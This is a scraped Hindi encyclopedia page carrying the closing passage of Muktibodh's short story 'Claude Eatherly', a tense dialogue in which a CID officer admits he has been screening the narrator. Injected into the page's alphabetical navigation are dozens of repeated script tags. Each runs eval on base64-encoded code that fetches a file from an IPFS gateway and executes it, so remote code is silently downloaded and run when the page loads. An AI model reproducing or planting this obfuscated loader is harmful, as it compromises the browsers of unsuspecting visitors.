'इससे यह सिद्ध हुआ कि तुम-सरीखे सचेत जागरुक संवेदनशील जन क्‍लॉड ईथरली हैं।'

उसने मेरे दिल में खंजर मार दिया। हाँ, यह सच था! बिलकुल सच! अवचेतन के अँधेरे तहखाने में पड़ी हुई आत्‍मा का विद्रोह करती है। आत्‍मा पापाचारों के लिए, अपने-आपको जिम्‍मेदार समझती है। हाय रे! यह मेरा भी तो रोग रहा है।

मैंने अपने चेहरे को सख्‍त बना लिया। गंभीर हो कर कहा, 'लेकिन ये सब बातें तुम मुझसे क्‍यों कह रहे हो?'

'इसलिए कि मैं सी.आई.डी. हूँ और मैं तुम्‍हारी स्‍क्रीनिंग कर रहा हूँ। मैं चाहता हूँ कि तुम मेरे विभाग से संबद्ध रहो। तुम इनकार क्‍यों करते हो। कहो कि यह तुम्‍हारी अंतरात्‍मा के अनुकूल है।'

'तो क्‍या तुम मुझे टटोलने के लिए ये बातें कर रहे थे। और, तुम्‍हारी ये सब बातें बनावटी थीं! मेरे दिल का भेद लेने के लिए थीं? बदमाश!'

'मैं तो सिर्फ तुम्‍हारे अनुकूल प्रसंगों की जो हो सकती थी, वही कर रहा था।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख


वर्णमाला क्रमानुसार लेख खोज

  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अं   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> क्ष   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> त्र   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ज्ञ   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> श्र   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>अः

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=क्लॉड_ईथरली_-गजानन_माधव_मुक्तिबोध&oldid=656929" से लिया गया